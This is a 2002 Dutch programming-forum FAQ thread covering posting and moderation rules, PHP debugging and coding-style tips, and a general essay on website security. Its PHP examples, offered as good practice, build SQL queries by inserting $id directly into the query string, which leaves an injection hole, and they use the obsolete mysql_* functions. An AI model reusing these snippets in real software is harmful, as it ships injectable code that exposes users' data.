Dan kan je nu een topic openen. Maar maak het gelijk goed duidelijk wat je wil. Dus geef een duidelijke titel aan je probleem. Bij bijv php begin je met [php] enz.

Hoe stel ik een vraag?
Geef eerst globaal aan wat het probleem is
Geef dan aan wat je al geprobeerd hebt.

Geef vervolgens aan waar je denkt dat het aan ligt
Geef dan aan wat je geprobeerd hebt om dit probleem te verhelpen.

Geef aan waarom je denkt dat dat niet klopt, of geef aan waarom je denkt dat dat niet werkt. Herhaal deze stappen totdat je alles hebt verteld wat je hebt geprobeert, en welke references je daarvoor gebruikt hebt. Geef ons de errors die je te zien krijgt.

Wanneer je alles duidelijk hebt uitgelegd, vat je je probleem samen en stel je de uiteindelijke vraag.

Vergeet ook de [code] tags of de [php] tags niet. Zie hiervoor Voor iedereen die code in z'n post plaatst!.

Besteed liever wat meer tijd aan je post dan dat je een post doet met als titel "help" en als inhoud "het werkt niet". Dat soort topics worden gelijk gesloten, dus hou hier rekening mee. HTML, JAVASCRIPT en FLASH moeten in W&G!
De antwoorden die je krijgt op je topic zullen niet in 1 keer duidelijk zijn. Dat geeft niets maar verdiep je er eerst in voordat je vraagt "wat bedoel je nou? ik ben nog maar een n00b". Dan hebben er veel mensen hier al iets van "als jij er geen moeite voor wil doen dan doen wij dat ook niet" en dus voor jou weer minder kans op een goed antwoord.
Denk na voor je replied. Kijk gerust in iemands profiel naar wat ie doet voor je hem probeert af te branden als diegene iets zegt wat je al geprobeerd had. Dan ben je in stap 2) zelf niet duidelijk geweest. Bedenk ook : we hoeven je geen antwoord te geven dus behandel ons met hetzelfde respect zoals je zelf ook behandeld wilt worden.
Als je probleem is opgelost, kom dan terug om de oplossing te posten. Dan hebben er meer mensen profijt van in de toekomst.

Veel plezier in /14

BeleidsFAQ + veranderd modbeleid

Wat moet ik weten voor ik een topic plaats?
Waar moet ik heen met vragen over Javascript en HTML vragen?
Wat mag wel en wat mag niet?
Veranderd Modbeleid?
Ik heb een mooi script gevonden maar wie helpt ff met ombouwen?
Moet dat nou allemaal zo serieus?
Ik krijg niet snel antwoord dus mag ik schoppen?
Ik wil graag ff die exe openmaken mag dat?
UTFS /RTFM slotje roepen?
En huiswerkvragen dan?
Promoten van software/sites?
Mazen der FAQ?
IRC?
Wie zijn hier de Moderators?

Wat moet ik weten voor ik een topic plaats?

Iedereen is natuurlijk welkom maar er kunnen natuurlijk botsingen ontstaan tussen bezoekers met een verschillend niveau. Newbies die zich aan profs ergeren omdat die weigeren het op hun niveau uit te leggen, of profs die zich aan newbies ergeren omdat ze zelf geen moeite hebben gedaan.
Het is belangrijk dat je eerst even de Quickstart bekijkt.

Waar moet ik heen met vragen over Javascript en HTML vragen?

Dat is een makkelijke vraag met een makkelijk antwoord

. Bij de buren in W&G

Wat mag wel en wat mag niet?

Het enige wat wij niet toestaan zijn RTFM-vraagjes, 'Ik-zoek-dit-script'-vraagjes of het wijzen hierop op kinderlijke wijze.
Zie oa. Policy mbt UTFS en RTFM.
Ook het zoeken naar personeel is niet toegestaan, daarvoor zijn sites als Monsterboard.nl.

Veranderd modbeleid?
N.a.v. dit topic: [rml][ /14] tijd voor een impuls, niveau daalt[/rml] hebben we besloten maar es wat veranderingetjes door te voeren, heel kort:
- we gaan lichter, meer op de reacties modden en meer de threads sturen ipv sluiten, het echt trieste (absoluut niet conform de doelgroep-regels) werk en de spam moet natuurlijk gewoon direct weg, maar er moet geprobeerd worden om de twijfelgevallen meer in de gaten te houden ipv ze direct te sluiten.

- de (regular) users _moeten_ daarbij meehelpen en mee sturen. Het tegenwerken zouden we wat meer af moeten straffen (wat veelal al buiten de andere policies valt, zoals 'UTFS-geroep', 'slotje!-geroep').

Hoe gaan we dat bereiken:
Echt een duidelijke omschrijving is het niet en er is ook geen absoluut sluitende definitie voor wat wel en niet mag te geven. Maar er zijn een aantal belangrijke punten.

Voor de moderators in hun moderator rol:
- Threads afwachtender beschouwen, niet sluiten als de startmessage fout is, maar als de thread fout loopt (dus als het een trollerige/flamerige/"neem mijn handje en help me!" boel wordt of als er gewoon simpelweg geen moeite gedaan wordt om te helpen of zich te laten helpen.).
- Vriendelijk, duidelijk en evt behulpzaam sluiten (niet perse het antwoord geven, maar ook niet domweg 'voldoet niet'-achtige slotjes).

Voor de users (en mods in user rol):
- Dit werkt alleen als (alle/zoveel mogelijk) users meewerken, de moderators kunnen niet meer dan wat ze nu al doen en dat zou al ruim voldoende moeten zijn.
- Reageer dus netjes en beleefd, iemand dom verklaren kan ook met een glimlach

.
- Wees behulpzaam/nuttig of reageer gewoon niet, als je weet/zegt/vindt dat iemand moet zoeken, neem dan de moeite om er even een [rml][search= ...] of [google=...][/rml] tag bij te plakken. Nadat er een iemand een reactie plaatst ala "als je nou [url] de quickstart leest, zie je wat je mist aan informatie-verschaffing" hoeven natuurlijk niet nog tien anderen dat te roepen :). Bovenstaande zijn geen regels, hooguit richtlijnen. Maar vergeet niet dat dit staat of valt bij de goede uitvoering _en_ de hulp van (vooral de vaste) gebruikers. We zijn er tenslotte voor, door en met de gebruikers. Let op, met React is het mogelijk een /14-ban te maken, als je dus door blijft gaan met "Slotje!", "UTFS" of anderzins verpestend gedrag, kan het zijn dat je ipv een waarschuwing een /14 of algehele ban krijgt. :? Ik heb een mooi script gevonden maar wie helpt ff met ombouwen? Waar we hier ook niet bij willen helpen is het "vragen over dingen waar licenties mee gebroken worden". Dit geldt dus ook voor opensource (gpl'ed bijv.) software. Ook voor "geleende" scripts (al dan niet met toestemming, voor zover nodig, van de maker) willen we graag dat je in eerste instantie contact opneemt met de maker van die software. :? Moet dat nou allemaal zo serieus?[/url]

Over offtopic-gedrag kunnen wij ook simpel zijn: probeer het gewoon gezellig te houden, een keer offtopic praten kan best (heel de dag lullen over variabelen is ook niet echt alles

) maar ga niet met opzet serieuze threads offtopic helpen of kijken hoever je kunt gaan. Dat gaat er bij ons niet in.

Ik krijg niet snel antwoord dus mag ik schoppen?[/url]

Wacht minstens 24 uur voor je je topic omhoog schopt. Doe dit dan ook alleen met een zinnige opmerking en dus niet met "Waarom antwoord er nou niemand" nadat je 5 minuten geen antwoord hebt gehad. Sommigen van ons hebben een leven

Ik wil graag ff die exe openmaken mag dat?

Dit is in principe gewoon illegaal (net als cracks, passes, warez etc) en voor ons daarom niet/nauwelijks na te gaan of er wel of niet illegaal gedrag getoond wordt. Daarom hebben we besloten het als illegaal te beschouwen en zijn dit soort topics niet gewenst.

Zie ook deze quote van cutter

Doordat artikel 6 van de Softwarerichtlijn en artikel 45m Aw stellen dat decompilatie onder omstandigheden is toegestaan, is iedere decompiler per definitie inzetbaar voor zowel wettelijk toegestaan, als voor inbreukmakend gebruik van software. De overweging bij de Auteursrechtrichtlijn geeft aan dat decompilers niet verboden zijn. Dat kan impliceren dat de zinsnede 'uitsluitend bestemd om de ongeoorloofde verwijdering of ontwijking van softwarebeveiliging te vergemakkelijken' in de Softwarerichtlijn, betekent dat omzeilingsmiddelen alleen onder de bepaling vallen, indien zij uitsluitend bestemd zijn om inbreukmakende handelingen te faciliteren. Wanneer zij tevens op basis van het auteursrecht niet te verbieden gebruik van software mogelijk maken, vallen ze er niet onder.

Decompilen mag voor het tot stand brengen van intercompatibiliteit, zorgen dat proggies (interfaces) met elkaar kunnen communiceren. Dat mag alleen als je zonder het decompileren de intercompatibiliteit niet tot stand kan brengen en je het proggie rechtmatig in je bezit hebt.
Of je nu voor studie mag decompileren weet ik niet. Je mag wel proberen de achterliggende gedachten te achterhalen door het laden, in beeld brengen, de uitvoering, de transmissie of de opslag van het programma.
Er wordt eigenlijk niet meer gesproken van decompileren maar van 'omzeilen van een technische voorziening' in de voorstellen voor een nieuwe auteurswet. Onder omstandigheden mag dat.

Kern van de door de commissie voorgestelde bepaling is dat de wetgever ingrijpt op het moment dat de betekenis en ratio van de beperkingen onder artikelen 16 (ten behoeve van onderwijs), 16b en 16c (privé-kopiëren), 16h (reprografisch verveelvoudigen), 16n (verveelvoudigen voor preserveringsdoeleinden), 17b (efemere vastleggingen door omroeporganisaties) en 22 (gebruik in het kader van gerechtelijke en bestuurlijke procedures) in het gedrang komt.

Dit zijn een aantal situaties wanneer decompilen zou mogen, maar die moeten nog verder uitgewerkt worden in een op de nieuwe auteurswet gebaseerde aanvullende regeling (ook wel Algemene Maatregel van Bestuur (AMVB) genoemd)

UTFS /RTFM slotje roepen?

Waar gaat het nou om?

Lees eerst dit eens dan is je het eea. al duidelijk.
In /14 is er een periode geweest waar om de haverklap 'slotje!' en 'utfs!' werd geroepen. Dit is al flink verminderd maar de geschiedenis leert dat de geschiedenis zich herhaalt en ik weet uit ervaring dat /14 zeker geen uitzondering is

Wat zijn de consequenties?

Bij het herhaaldelijk UTFS en RTFM en Slotje roepen word je gewaarschuwd.
Eventueel wordt je post zelfs verwijderd. Bij de 2e waarschuwing volgen andere maatregelen - welke dat zijn hangen af van je gedrag.
We hopen samen met jullie dat dit zal leiden tot een positievere sfeer en dat newbies zich nog welkomer zullen voelen.

Laatste opmerking over UTFS/RTFM

Mogen mensen nu ongestoord domme vragen stellen? Nee, uiteraard niet. Als iets echt heel makkelijk te vinden is, dan had die persoon even mogen zoeken. Plaats zo'n topic dan gewoon in Schop een Modje of geef het door aan de Mod via icq. Dan kunnen wij kijken wat er met het topic moet gebeuren.

En huiswerkvragen dan?

Het is toegestaan om huiswerk te plaatsen. Mits het aan een aantal eisen voldoet.

Je geeft duidelijk een beschrijving van je opdracht en je probleem.
Je geeft ook duidelijk aan wat je al geprobeerd hebt.
Je moet niet vergeten dat je het huiswerk hoort te kunnen maken met alleen je studiemateriaal en de eventuele hulp van docenten/assistenten en medestudenten.
Zodra de vraag richting "maken jullie het dan even" gaat, dan gaat je topic zonder meer op slot.
Verder gelden natuurlijk ook hiervoor de standaard voorwaarden uit de algemene en subforum faq.

Mocht je na dit alles er nog niet uitkomen en zeker weten dat men je hier kan helpen, dan kan je er een topic voor plaatsen. Wees dan wel eerlijk en zet er gewoon bij dat het huiswerk is, dat maakt het een stuk makkelijker voor de mensen die je helpen om je "niveau" in te schatten.

Promoten van Software en sites?

Dit mag alleen met uitdrukkelijke toestemming van de Devschuur© crew. Dit per mail/icq aan te vragen bij de HGA of een HGM.

Mazen der FAQ?

Die zijn er niet, de Devschuur© crew heeft het laatste woord bij onduidelijkheden.

IRC?

Gezellig chatten met de /14's en 13's kan in #devschuur op irc. Zie [rml][ IRC] Kanalen en Servers[/rml] voor een verhaal hoe je er komt.

Wie zijn hier de Moderators?

Momenteel loopt er een aantal moderators rond in de Devschuur/P&W die helpen om crap te closen. Natuurlijk zien wij ook niet alles en zijn er altijd users die het eerder zien dan wij. Hieronder een lijstje met moderators die in P&W rondlopen:

Janoz | ICQ: 27673986 | mail: [url="mailto:janoz(at)tweakers.net"]janoz(at)tweakers.net[/url]
Tom | ICQ: 33401632 | mail: [url="mailto:tom(at)tweakers.net"]tom(at)tweakers.net[/url]
McVirusS | ICQ: 19909059 | mail: [url="mailto:mcviruss(at)tweakers.net"]mcviruss(at)tweakers.net[/url]
D2k | ICQ: 18966246 | mail: [url="mailto:D2k(at)tweakers.net"]D2k(at)tweakers.net[/url]

Ook zijn er hier 5 lite-mods

Glimi | ICQ: n/a | mail: [url="mailto:glimi(at)tweakers.net"]glimi(at)tweakers.net[/url]
drm | ICQ: 61628736 | mail: [url="mailto:drm(at)tweakers.net"]drm(at)tweakers.net[/url]
dusty | ICQ: 110758336 | mail: [url="mailto:dusty(at)tweakers.net"]dusty(at)tweakers.net[/url]
.oisyn | ICQ: n/a | mail: [url="mailto:oisyn(at)tweakers.net"]oisyn(at)tweakers.net[/url]
whoami | ICQ: n/a | mail: [url="mailto:whoami(at)tweakers.net"]whoami(at)tweakers.net[/url]

Voor vragen kun je eventueel ook terecht in: [moderatie] Vragen aan de moderator
Zodra je iets tegenkomt wat in jouw ogen niet kan of tegen de richtlijnen is, kun je even een seintje geven aan een modje. Een andere mogelijkheid is een post te plaatsen in Schop een Modje, daar kijken ook regelmatig moderators.

[ Voor 102% gewijzigd door D2k op 16-12-2002 12:27 ]

Doet iets met Cloud (MS/IBM)

zondag 8 december 2002 16:01

Acties:

0 Henk 'm!

D2k

Topicstarter

P&W FAQ: PHP

PHP links?

• http://www.php.net/functienaam voor een snel overzicht
• http://www.php.net/nl/functienaam voor een snel overzicht in het nederlands
• http://www.php.net
• Functionaliteit van php
• http://www.zend.com
• http://www.weberdev.com
• http://www.phpbuilder.com
• http://www.phpwizard.net
• http://www.phpfreakz.com
• http://www.devshed.com
• http://sourceforge.net/projects/phptriad
• http://www.phpdeveloper.org/
• http://www.newbienetwork.net/
• http://www.securereality.com.au/studyinscarlet.txt

Taal specifiek :debuggen in PHP

Bouw je query's als volgt

PHP:

<?
$connect = mysql_connect($server,$usersql,$passwd)
    or die("Bad connect string: ".mysql_error());
mysql_select_db($dbnaam,$connect)
    or die("Bad database change: ".mysql_error());

$sql = "SELECT * FROM blaat where id='$id'"; 
$query = mysql_query($sql,$connect) 
    or die(mysql_error());
?>

Op deze wijze kan je dus dmv van een echo "$sql"; de waarden van je query bekijken.
En dus direct zien of je wel de juiste dingen in je query hebt. In dit geval of id wel bestaat oid. Code dus ook overzichtelijk, zo krijg je dus geen (nou ja minder) fouten met haakjes.

En nee ik gebruik er niet te veel want dit zijn maar simpele voorbeeldjes. Bekijk het verschil tussen de 2 onderstaande voorbeelden

PHP:

<?
if($blaatwat){
echo "blaat";
}else{
echo "niet blaat";}
?>

PHP:

<?
if($blaatwat)
{
    echo "blaat";
}
else    
{
    echo "niet blaat";
}
?>

Verder kan je het beste

PHP:

<?
echo "<pre>";
print_r($var);
echo "</pre>";
?>

PHP:

<?
echo "<pre>";
var_dump($var);
echo "</pre>";
?>

gebruiken bij variabelen waar je aan twijfelt, en dan in het bijzonder bij array's natuurlijk.
Ook een redelijk vaak voorkomende fout is:

PHP:

<?
if ($blaat)
{       
    echo "Blaat";
}
else
} // kijk goed !!       
    echo "niet blaat";
}
?>

het plaatsen van een verkeerd haakje.

Verder hebben PHP en MySQL prima foutmeldingen:
ERROR: Parse error on line 14
Staat er niet voor niets, en je zou dus kunnen beginnen met zoeken op lijn 14, en langzaam omhoog werken.
Meestal is dit gewoon het vergeten van een haakje, komma of aanhalingsteken. Daarom is het inspringen zo belangrijk (standaard is 4 spaties geloof ik, maar een tab of 4 spaties word ook veel gebruikt).
ERROR: Supplied argument is not a valid MySQL result resource
Betekent dat je iets fout doet met je query, zorg dat zo'n error word afgevangen..

PHP heeft prachtige ERROR handeling functies, kijk bevoorbeeld eens naar

error_reporting()
set_error_handler()

En voor mySQL fouten:

mysql_error()

Als je dan na 30x kijken toch nog niet hebt gevonden wat de fout is en je het toch op GoT post, doe dat dan iig duidelijk.
Post het stukje code (dus niet de complete 62Kb) met de foutmelding, tussen php tags en GEEF AAN IN WELKE REGEL de fout zit.. Als iemand post dat er in regel 102 een fout zit, ga ik geen 102 regels tellen, en het schiet helemaal niet op als alleen regel 94 t/m 125 er staat..

Duidelijke variabelenamen kunnen ook helpen, zodat je ze moelijk kan omdraaien.
Zo dus niet :

PHP:

<?
$connect = mysql_connect($server,$usersql,$passwd)
    or die("Bad connect string: ".mysql_error());
mysql_select_db($dbnaam,$connect)
    or die("Bad database change: ".mysql_error());
$query = "SELECT * FROM blaat where id='$id'";
$sqlquery = mysql_query($query,$connect) 
    or die(mysql_error());
$sqlquery = mysql_fetch_array($query); 
// !
?>

maar

PHP:

<?
$connect = mysql_connect($server,$usersql,$passwd)
    or die("Bad connect string: ".mysql_error());
mysql_select_db($dbnaam,$connect)
    or die("Bad database change: ".mysql_error());
$query_string = "SELECT * FROM blaat where id='$id'";
$query_result = mysql_query($query_string,$connect) 
    or die(mysql_error());
$query_array = mysql_fetch_array($query_result);
?>

Of bij grotere query's is dit veel overzichtelijker:

code:

$queryString ="
SELECT      
        t1.bla,
        t2.bla2
FROM        
        tabel   as t1
        tabel2  as t2
WHERE       (tabelrelaties)
        (condities in volgorde van prioriteit)
GROUP BY    
        y       
ORDER BY    
        x
LIMIT      
        start,offset
";

als afsluitende tip: gebruik een editor met highlighting mogelijkheden. Dit voorkomt veel problemen omdat je dan aan de kleur van je code kan zien of het klopt.

[ Voor 65% gewijzigd door D2k op 16-12-2002 12:27 ]

Doet iets met Cloud (MS/IBM)

zondag 8 december 2002 16:37

Acties:

0 Henk 'm!

D2k

Topicstarter

P&W FAQ: Algemeen

Netjes Coden

Overzichtelijk coden

code:

if(blaatwat){
echo "blaat";
}else{
echo "niet blaat";}

code:

if(blaatwat)
{
    echo "blaat";
}
else    
{
    echo "niet blaat";
}

Een switch statement bouw je zo:

code:

switch(bla) 
{   
    case [case]:         
        expr    
        break;  
    case [case]:         
        expr    
        break;
}

Let op niet iedereen is het eens met het bovenstaande. Zie ook hier. Consequentie is belangrijker dan een de keuze maken tussen die paar manieren. Zie hier.
Ik pretendeer niet gelijk te hebben maar weet wel uit ervaring, dat hier vaak fouten in ontstaan.

Nog een inspring voorbeeld

code:

<table parameters..>
<tr>
    <td>
      Een lap text :P
    </td>
    <td>
      En nog een lapje
    </td>
</tr>
<tr>
    <td colspan=2>
      Dus...
    </td>
</tr>
</table>

Door die TD's op een andere regel te zetten als de content wordt er automatisch een spatie ingevoegd, wat op zich niet erg is met tekst, maar wel met plaatjes!
Probeer maar eens 2 plaatjes naadloos op elkaar aan te laten sluiten .. dan zul je zien dat je die IMG tag ook naadloos moet omsluiten met TD tags.
Dus dan kan je niet het voorbeeld zoals boven aanhouden!!!!!

~~Niet zo~~

code:

1
2
3

<td>
   <img src="">
</td>

maar zo

code:

1	<td><img src=""></td>

nog wat voorbeelden
~~niet zo~~

code:

functie ( dit, dit, en, dat );
functie ( nuNogeenkeer, maar, dan, zo );
functieTwee ( En, nu, een, andere, functie );
functieTwee ( Met, ook, twee, aanroepen, dus );

maar zo

code:

functie     ( dit,      dit,  en,  dat );
functie     ( nuNogeenkeer, maar, dan, zo  );
/* hier kun je een enter overwegen */
functieTwee ( En,  nu,  een,  andere,    functie );
functieTwee ( Met, ook, twee, aanroepen, dus     );

Dit geldt dan ook voor variabelen:
~~niet zo~~

code:

1	var $var1="waarde1",$variable2="waarde2",$dingetje3="waarde3";

maar zo

code:

var   $var1 = "waarde1", 
    $variable2 = "waarde2", 
    $dingetje3 = "waarde3", 
    $melp   = "waarde4";

wordt een functieaanroep te lang, wees niet bang op een volgende regel verder te gaan. Lijn dan wel haakje openen, haakje sluiten verticaal goed uit:
~~niet zo~~

code:

1	functieAanroep(blablabla,blablabla2(melpje,lerpje,nogwatmeuk));

maar zo

code:

functieAanroep ( 
   blablabla, 
   blablabla2 (
    melpje,
    lerpje,
    nogwatmeuk
   ), 
   ennogmeeronzin 
);

Kies uiteraard zelf wanneer dit echt van toepassing is.
Verder na *elke* komma een spatie. Om operators ook altijd spaties, en na en voor haakjes spaties.

Naamgeving variabelen, functies etc: Niet te lang, geen underscores, alleen inner capitalization
~~niet zo~~

code:

1
2
3

var  sjaakdebeverisgekomen;
function DITISEENFUNCTIE ()
class DItisEENCLASSEwaarikDitENDITMeeDOe

maar zo

code:

var sjaakDeBeverIsGekomen;
function ditIsEenFunctie ()

class DitIsEenClass

Controleer zelf je code

Bij script fouten eerst kijken of het script uberhaupt wel klopt.
Dus controleer op werking.
Het maken van een PSD/flowchart is echt geen doodszonde als je er niet meer uitkomt.
Je bent te laat met het maken van een PSD/flowchart deze moet je eerst maken maar als je je idee alsnog op papier zet kan je je code controleren.
En natuurlijk hoe je stijl ook is, je stijl consequent blijven gebruiken.
Klinkt misschien logisch maar er zijn vaak genoeg mensen die 3 stijlen door elkaar gebruiken.

Zet commentaar bij je code

code:

if
{ 
   for ()
   { 
    code
   } // end for
} // end if

code:

1 2	int intvariable; // commentaar over var float fpvariable; // commentaar over var

code:

//----------------------------------------------------------
// Functie Blaat(arg1, arg2)
//----------------------------------------------------------
//
// Input:
// arg1     : int aantal maal
// arg2     : *char[] weer te geven tekst
//----------------------------------------------------------
//
// Returns
// true     : gelukt
// false    : mislukt
//----------------------------------------------------------
bool Blaat(int,*char[])
{
//en verder met de functie
//of
void  MyFunction(int    i_arg,          // var info
                float  f_arg,       // var info
                float  f_arg2,      // var info
                char*  str_arg);    // var info

Algemene aanpak debuggen
1. Bepaal duidelijk wat het probleem is, dus
  - a) wat er fout gaat (foutmelding)
  - b) wanneer het fout gaat (omstandigheden, handelingen, etc)
  - c) probeer de fout te reproduceren
2. Probeer te begrijpen en/of onderzoeken (zoeken in manuals met foutmeldingstekst bijv.), op basis van de info van punt 1 wat de bug zou kunnen zijn. Als dit triviaal is, fix het en test of het werkt. Zo niet, ga door.
3. Probeer te lokaliseren in welk grootst te onderscheiden stuk code het probleem zich voordoet, en zoek vanaf daar verder naar totdat je de kleinst mogelijke eenheid code hebt gevonden waarin de fout zich voordoet.
4. Loop stap voor stap door de code in dit kleinst mogelijke stuk code heen, waarbij je vooral let op:
  - a) waarden van relevante variabelen
  - b) calls naar externe functies/objecten/etc., die evt. onvoorspebaar of incorrect gedrag vertonen
  - c) niet afgevangen condities (Null waarden, geen records gereturned, negatieve waarden, verkeerd type waarden, etc.)
  - d) syntax vergissingen (bijv. "=" gebruiken als vergelijkingsoperator waar je "==" zou moeten gebruiken)
  - e) correctheid van (loop) condities ('out of bounds' problemen, '>' dat '>=' zou moeten zijn, etc.)

Speciale gevallen
SQL Queries
Als je dynamisch een SQL query opbouwt, en die geeft problemen (onverwachte resultaten, syntax errors), print dan de query uit.
Als je dan niet in 1 oogopslag ziet wat het probleem is, open dan een directe connectie naar de database en voer de query handmatig uit, en speel ermee tot die wel goed is voordat je de code aanpast.

Connecties tussen verschillende systemen

Als je van deel A naar deel B een connectie maakt (COM call, message queue, HTTP call, CORBA call, etc), zorg dan dat je direct voor de uitgang van systeem A en na de ingang bij systeem B alle waarden logt, zodat je precies kan vergelijken of deze overeenkomen, en je zeker weet in welk deel het probleem zit.

Als je het probleem nu nog niet ziet of kunt oplossen, isoleer dat precies de regel code die de fout triggert, en haal er een buitenstaander bij, die een frisse blik op jouw code kan werpen.
tnx MrX voor dit stukje. Zie voor discussies dit topic: [ALG] Hoe pakt een programmeur debuggen aan? .
vragen opmerkingen kritiek via icq #18966246
(zpel en tiepvautte voorbehauwe) D2k ©2001/2002
tnx 2 ACM voor het corrigeren,razor-x,Timpie2000, Bart Coppens, drm, RdeTuinman, mietje, stylee, Janoz, mbravenboer, wasigh, whoami,Macros, drZymo, blimmel,demonite en Nielsz voor het commentaar op de oorspronkelijke versie.

Beveiliging van een website

Beveiliging websites, de basis.
De risico's.

Het is voor webapplicaties erg belangrijk dat ze al vanaf het begin 'potdicht' geprogrammeerd worden. Na serverbugs lijkt het er op dat de meest voorkomende 'hacks' direct gerelateerd zijn aan 'gevaarlijk' of 'lui' programmeren. Veel sites worden door beginnende webprogrammeurs in elkaar gezet en zijn vaak een erg simpel doelwit voor een beetje geoefende hackers.

Uiteraard is een bezoekje van een hacker niet zo heel erg, deze mensen hebben meestal het beste met iedereen voor en zullen dan ook over het algemeen na het vinden van de fout weinig ongein uithalen. Naast de hackers heb je ook nog de crackers, zij zullen zich niet gestopt zien door morele waarden en na het vinden van een gat in de beveiliging van de website nog flink nagenieten van het zo erg mogelijk pesten van de sitebeheerders.

Bij grotere websites is het wat lastiger, hacks zijn nog steeds uit te voeren (er vanuit gaande dat software nooit bugvrij is). Maar het is wel te hopen dat het bij dergelijke sites toch wel erg moeilijk gemaakt is en/of wordt. Ook hier zijn de hackers niet 'al te erg', daar dezen de gevonden fouten (vaak met een oplossing) rapporteren. Helaas menen sitebeheerders dit soort meldingen in de praktijk nog wel eens te moeten negeren, het is echter verstandig zo veel mogelijk dat soort meldingen gewoon na te gaan en te controleren. Wat erger is in dit geval zijn de professionele crackers, deze zullen veel moeite doen om belangrijke gegevens te achterhalen (voor verkoop of uit opdracht) of de website flink te verpesten (mogelijk om klanten naar het eigen bedrijf te sturen, want een site die down is verliest snel zijn vaste bezoekers).

Naast de 'gewone' hacks op systeem en software niveau zijn er ook nog de DoS aanvallen en dan tegenwoordig steeds vaker in gedistribueerde varianten (DDoS). Het grootste nadeel van een goed opgezette DoS is dat er vrijwel niets aan gedaan kan worden.

De gevolgen van DoS aanvallen zijn legio, waarbij in het beste geval na een korte downtime de service weer in de lucht komt. In ergere gevallen kunnen DoS aanvallen dagen of zelfs weken duren en zal de service daar wellicht blijvende schade aan ondervinden of zelfs failliet gaan, aangezien de ISP waarschijnlijk ook een flinke rekening voor het vele dataverkeer zal opsturen terwijl er geen geld binnenkomt.

Een DoS is eigenlijk niets anders dan het 'zo vaak opvragen van de service dat die service overbelast raakt', met als overduidelijk gevolg dat er geen services meer aan normale klanten geboden kan worden. DoS betekent dan ook 'Denial of Service'. Mocht een site zelf wel tegen een DoS bestand zijn, dan kan het ook nog voorkomen dat de stap daarvoor bezwijkt (veelal de ISP of een deel van diens services), ook in dat geval is het gewenste doel al bereikt. Sommige software bezwijkt onder hevige DoS aanvallen en kan in erge gevallen zelfs veiligheidsgaten openzetten.

Al deze aanvallen kunnen er toe leiden dat er gegevens van en over de klanten bij derden bekend raken, dit is niet alleen zeer onwenselijk maar ook nog eens wettelijk verboden. Naast de klantgegevens zijn er natuurlijk ook nog eens allerlei andere gegevens die niet aan derden bekend mogen worden. Behalve beschikbaarheid van de gegevens is het ook mogelijk dat de gegevens wijzig- of verwijderbaar worden, wat nog weer een gradatie erger is (vooral omdat dan ook de gegevens beschikbaar zijn).

Risico's in meer detail en het voorkomen ervan.
Geen informatie verstrekken.

Hoewel een hacker/cracker niets hoort te kunnen doen met de gevonden informatie, is het altijd beter dat hij niet meer informatie over een site heeft dan strikt noodzakelijk voor het gebruik van de site. Elk beetje informatie kan een veiligheidsgat blootleggen of de impact van een hack vergroten doordat de hacker veel beter weet wat hij allemaal kan uithalen. Weliswaar is dit dan een fout van de programmeur, maar de hacker zal daar alleen maar dankbaar voor zijn.

Dit neemt niet weg dat het over het algemeen een goed idee kan zijn om anderen naar je code te laten kijken. Dit hoeft niet te betekenen dat je meteen je code opensourcet, maar vier ogen (of meer) zien meer dan twee. Als je aan grotere projecten werkt in grotere teams, is het niet ongebruikelijk dat er een veiligheidsexpert in dienst wordt genomen om de security kant van de code door te nemen.

Wat sourcecode betreft betekent dit dus dat zelfs als een cracker/hacker jouw code niet kan zien, hij de veiligheidsgaten nog steeds kan vinden - het duurt hooguit wat langer! Oftewel, closed source code verandert niks aan het security principe, hier moet je altijd op letten! Closed source code is op zichzelf absoluut geen beveiliging, het kan slechts een toevoeging zijn op andere beveiligingsmethoden!

DoS aanvallen afslaan.
Zoals gezegd is er tegen de DoS aanvallen erg weinig te doen, de meeste bescherming ertegen zal door de ISP geboden moeten worden. Eventuele zaken die de downtime en DoS-werking kunnen verminderen zijn flinke overcapaciteit, maar zelfs sites als Yahoo!, ebay, microsoft.com en amazon zijn gevoelig voor DoS. Een DoS hoeft namelijk niet per se gericht te worden op de primaire webservers, maar kan ook heel goed de secundaire services uit de lucht halen, waardoor een site alsnog down gaat.

Aangezien hier dus zo goed als niets aan te doen is, is het belangrijkste dat er in dergelijke gevallen niet te veel gelogd wordt (er komt toch elke keer hetzelfde), een volle harde schijf wil nog wel eens een server laten crashen. Daarnaast is het belangrijk dat de software nooit ofte nimmer onder hoge load mag bezwijken, een simpele controle op de belasting van het systeem zou gedaan kunnen worden om vervolgens de (zware) service te 'verbieden', waardoor de DoS al een stuk minder grote impact heeft. Het is uiteraard overduidelijk dat de software al helemaal geen steekjes mag laten vallen op het gebied van de beveiliging.

Firewalls halen verder erg weinig uit tegen DoS aanvallen, behalve dat ze zo ingesteld kunnen worden dat ze het aantal requests op de webservers slechts 'gedeeltelijk' doorlaten, wat tot gevolg heeft dat een DoS gericht op de service (en niet op de bandbreedte) vrij effectief gestopt kan worden dmv goede firewalling en configuraties.

Serversoftware.
Tegen de meeste andere aanvallen is wel vrij goed op te treden door de sitebeheerders.

De bugs in de serversoftware zijn over het algemeen vrij snel door de leverancier gerepareerd, hoewel Microsoft er nog wel eens laks mee om leek te gaan in geval van IIS. Zij hebben ondertussen hun software strategie toch maar (flink) omgegooid en zijn zich veel meer op veiligheid gaan richten.

Het devies is hier dus 'blijf op de hoogte' en zorg ervoor dat de nieuwste patches altijd geïnstalleerd worden (als deze veiligheidsgerelateerd zijn). Dit geldt zowel voor het operating system, de webserver software als alle andere gebruikte pakketten en tools.

Naast bugs in de besturings systemen en de gebruikte software zijn er ook nog een heleboel andere instellingen die fout kunnen gaan. Zo moeten de rechten voor de 'webserver uitvoerende' gebruiker hooguit op "leesrechten" staan voor de php files (zodat deze niet gemodificeerd kunnen worden) en mag er in principe op geen enkele plek "schrijfrechten" gegeven worden. Ook mag die 'gebruiker' geen administrator/root rechten hebben, omdat dit te veel vrijheid geeft, wat (bijna) nooit nodig is.

De server mag uiteraard ook niet door teveel mensen beheerd worden en (liefst) alleen door capabele beheerders.

Aanvallen op de software zelf.

Alle aanvallen op de software van de website zelf (de php, jsp, asp, etc code) zijn in principe altijd te voorkomen. In die paar gevallen dat ze niet voorkomen kunnen worden moet er flink nagedacht worden of er niet een andere manier is om het gewenste resultaat te bereiken, in veel gevallen is er een andere oplossing of is het dusdanig moeilijker te maken dat het niet meer een 'major issue' kwa veiligheid.

Spoofing, voor authenticatie en autorisatie.
Er zijn grofweg twee aanvalsmethoden te bedenken, spoofing van de gebruiker en invoeren van (bewust) foute waarden.

De eerste varieert van het spoofen van ip-verkeer tot en met het zich voordoen van een andere gebruiker door 'achter diens PC te gaan zitten'.

